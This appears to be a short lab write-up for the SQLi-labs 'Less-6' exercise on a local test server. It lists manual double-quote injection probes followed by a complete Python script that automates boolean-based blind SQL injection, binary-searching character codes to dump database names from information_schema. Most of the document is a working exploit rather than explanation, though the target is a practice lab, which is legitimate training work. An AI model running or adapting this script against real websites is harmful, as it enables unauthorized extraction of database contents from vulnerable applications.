http://127.0.0.1/Less-6/?id=1
http://127.0.0.1/Less-6/?id=1"
http://127.0.0.1/Less-6/?id=1" and "1"="1
http://127.0.0.1/Less-6/?id=1" and "1"="0
#!/usr/bin/env python
# encoding:utf8
import requests
import time
import sys
# config-start
sleep_time = 5
error_time = 1
# config-end
def getPayload(indexOfResult, indexOfChar, mid):
column_name="schema_name"
table_name="schemata"
database_name="information_schema"
startStr = "1\"and "
endStr = " and\"1\"=\"1"
payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
payload = startStr + payload + endStr
return payload
def exce(indexOfResult,indexOfChar,mid):
# content-start
url = "http://127.0.0.1/Less-6/?id="
tempurl = url + getPayload(indexOfResult,indexOfChar,mid)
content = requests.get(tempurl).text
# content-end
# judge-start
if "You are in..........." in content:
return True
else:
return False
# judge-end
def doubleSearch(indexOfResult,indexOfChar,left_number, right_number):
while left_number < right_number:
mid = int((left_number + right_number) / 2)
if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
left_number = mid
else:
right_number = mid
if left_number == right_number - 1:
if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
mid += 1
break
else:
break
return chr(mid)
def search():
for i in range(32): # 需要遍歷的查詢結(jié)果的數(shù)量
counter = 0
for j in range(32): # 結(jié)果的長度
counter += 1
temp = doubleSearch(i, j, 0, 127) # 從255開始查詢
if ord(temp) == 1: # 當為1的時候說明已經(jīng)查詢結(jié)束
break
sys.stdout.write(temp)
sys.stdout.flush()
if counter == 1: # 當結(jié)果集的所有行都被遍歷后退出
break
sys.stdout.write("\r\n")
sys.stdout.flush()
search()
最后編輯于 :
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者